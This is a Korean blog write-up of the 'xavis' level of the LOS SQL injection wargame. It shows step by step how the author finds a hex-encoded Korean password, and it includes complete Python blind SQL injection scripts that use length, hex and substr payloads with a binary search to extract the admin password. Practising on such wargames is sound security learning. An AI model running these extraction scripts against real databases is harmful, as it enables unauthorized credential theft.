LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
필터링에 regex, like 등이 추가된 것으로 보인다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
느낌이 앞선 블라인드 인젝션 문제처럼 풀어야 할 것 같은 느낌이다.
일단 필터링에 regex와 like가 걸려있는 것으로 보이는데,
한번 기존에 늘 삽입하던 구문을 삽입해보자.
정상적으로 페이로드가 먹히면서
admin을 반기는 것을 확인할 수 있다.
그렇다면 한번 패스워드 길이를 확인해보도록 하자.
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and length(pw) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
print("패스워드 길이:", pw_length())
해당 코드를 통해 패스워드 길이가
총 12자로 이루어져있음을 확인할 수 있다.
그리고나서 이전에 사용하였던 코드를 이용해서
간단하게 풀면 되겠지.. 라고 생각하였는데,
패스워드가 전혀 나오지 않았고
blind sql injection을 시도해도 나오지 않는다는 것이
해당 패스워드에 한글 즉, 유니코드를 사용했을 수도 있다는
내용을 검색을 통해서 알게 되었다.
그래서 확인해본 것은
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and length(substring(pw,1,1)) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
print("패스워드 첫번째 길이:", pw_length())
다음 스크립트를 통해서 첫번째 패스워드 길이가
4라는 것을 알게 되었고, 이는 4x3 총 3글자이기 때문에
총 패스워드 길이가 12자라고 추측해볼 수 있을 것이다.
그렇다면, hex 값으로는 24자가 될 것이다.
hex는 8비트를 사용하기 때문에 8x3=24가 되기 때문이다.
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and length(hex(pw)) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
print("Hex 패스워드 길이:", pw_length())
해당 내용을 가지고 스크립트에 적용해보도록 하자.
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and length(hex(pw)) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
start, end, mid = 1, 127, 64
while True:
params = { "pw" : "' or id='admin' and ascii(substr(hex(pw), {}, 1))={} #".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + chr(int(str(mid)))
print("패스워드:", password)
break
else:
params = { "pw" : "' or id='admin' and ascii(substr(hex(pw), {}, 1))>{} #".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
pw_crack()
이전 이분탐색 코드에서 pw에 hex값을 적용시켜주고,
문자열과 정수 변환, ascii 값을 문자로 변환하게 되면
다음과 같이 나오게 된다.
해당 패스워드를 8글자씩 슬라이싱하여,
문자열로 변환해보도록 하자.
password = "0000C6B00000C6550000AD73"
length = 8
correct_password = [ password[i:i+length] for i in range(0, len(password), length) ]
for i in range(len(correct_password)):
print(chr(int(correct_password[i], 16)), end="")
다음과 같은 코드를 삽입해보면,
한글로 된 패스워드를 확인할 수 있고
문제를 성공적으로 풀게 됩니다!
최종 코드는 다음과 같습니다.
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and length(hex(pw)) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
start, end, mid = 1, 127, 64
while True:
params = { "pw" : "' or id='admin' and ascii(substr(hex(pw), {}, 1))={} #".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + chr(int(str(mid)))
print("패스워드:", password)
break
else:
params = { "pw" : "' or id='admin' and ascii(substr(hex(pw), {}, 1))>{} #".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
if len(password) == password_length:
correct_password = [ password[i:i+8] for i in range(0, len(password), 8) ]
for i in range(len(correct_password)):
print(chr(int(correct_password[i], 16)), end="")
pw_crack()
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] iron_golem (0) | 2022.12.27 |
---|---|
[LOS] dragon (0) | 2022.12.27 |
[LOS] nightmare (0) | 2022.12.24 |
[LOS] zombie_assassin (0) | 2022.12.24 |
[LOS] succubus (0) | 2022.12.23 |